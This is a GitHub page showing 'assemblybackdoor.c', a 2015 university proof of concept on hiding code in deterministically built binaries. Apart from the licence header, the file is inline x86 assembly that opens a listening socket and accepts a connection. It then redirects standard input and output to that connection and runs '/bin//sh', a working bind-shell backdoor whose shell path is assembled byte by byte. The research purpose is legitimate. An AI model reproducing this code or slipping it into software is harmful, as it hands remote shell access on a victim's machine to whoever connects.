-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathassemblybackdoor.c
More file actions
157 lines (145 loc) · 3.54 KB
/
assemblybackdoor.c
File metadata and controls
157 lines (145 loc) · 3.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// Hiding code in deterministically built binaries - Proof-of-Concept - Linux/x86
// Copyright (C) 2015 Christopher Jämthagen, Lund University
//
// christopher.jamthagen@eit.lth.se
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
int main(int argc, char **argv())
{
asm(".intel_syntax noprefix");
//asm(".byte 0xcc");
asm("jmp _start");
asm("prologue:");
asm("pop edi");
asm("pop ebx");
asm("pop eax");
asm("push edi");
asm("ret");
asm("epilogue:");
asm("pop edi");
asm("pop ecx");
asm("int 0x80");
asm("push edi");
asm("ret");
asm("_start:");
//p1
asm("push 0x66");
asm("push 0x01");
asm("call prologue");
asm("push 0x0");
asm("push 0x1");
asm("push 0x2");
asm("push esp");
asm("call epilogue");
asm("mov edx, eax");
//p2
asm("push 0x66");
asm("push 0x0e");
asm("call prologue");
asm("push 0x04");
asm("push esp");
asm("push 0x2");
asm("push 0x1");
asm("push edx");
asm("push esp");
asm("call epilogue");
//p3
asm("push 0x66");
asm("push 0x2");
asm("call prologue");
asm("push 0x00");
asm("xchg ecx,eax");
asm("mov eax,esp");
asm("dec eax");
asm("dec eax");
asm("push 0x0");
asm("movb [eax], 0x80");
asm("dec eax");
asm("dec eax");
asm("movb [eax], 0x02");
asm("xchg ecx,eax");
asm("mov ecx,esp");
asm("push 0x10");
asm("push ecx");
asm("push edx");
asm("push esp");
asm("call epilogue");
//p4
asm("push 0x66");
asm("push 0x04");
asm("call prologue");
asm("push 0x0");
asm("push edx");
asm("push esp");
asm("call epilogue");
//p5
asm("push 0x66");
asm("push 0x05");
asm("call prologue");
asm("push 0x0");
asm("push 0x0");
asm("push edx");
asm("push esp");
asm("call epilogue");
asm("mov edx, eax");
//p6
asm("push 0x3f");
asm("push edx");
asm("call prologue");
asm("push 0x0");
asm("call epilogue");
//p7
asm("push 0x3f");
asm("push ebx");
asm("call prologue");
asm("push 0x1");
asm("call epilogue");
//p8
asm("push 0x3f");
asm("push ebx");
asm("call prologue");
asm("push 0x2");
asm("call epilogue");
//p9
asm("push 0x0b");
asm("push ebx");
asm("call prologue");
asm("push 0x00");
asm("xchg eax,ebx");
asm("mov eax,esp");
asm("push edx");
asm("push edx");
asm("dec eax");
asm("movb [eax],0x68");
asm("dec eax");
asm("movb [eax],0x73");
asm("dec eax");
asm("movb [eax],0x2f");
asm("dec eax");
asm("movb [eax],0x2f");
asm("dec eax");
asm("movb [eax],0x6e");
asm("dec eax");
asm("movb [eax],0x69");
asm("dec eax");
asm("movb [eax],0x62");
asm("dec eax");
asm("movb [eax],0x2f");
asm("xchg eax,ebx");
asm("mov ebx,esp");
asm("xor edx,edx");
asm("push 0x0");
asm("call epilogue");
asm(".att_syntax noprefix");
}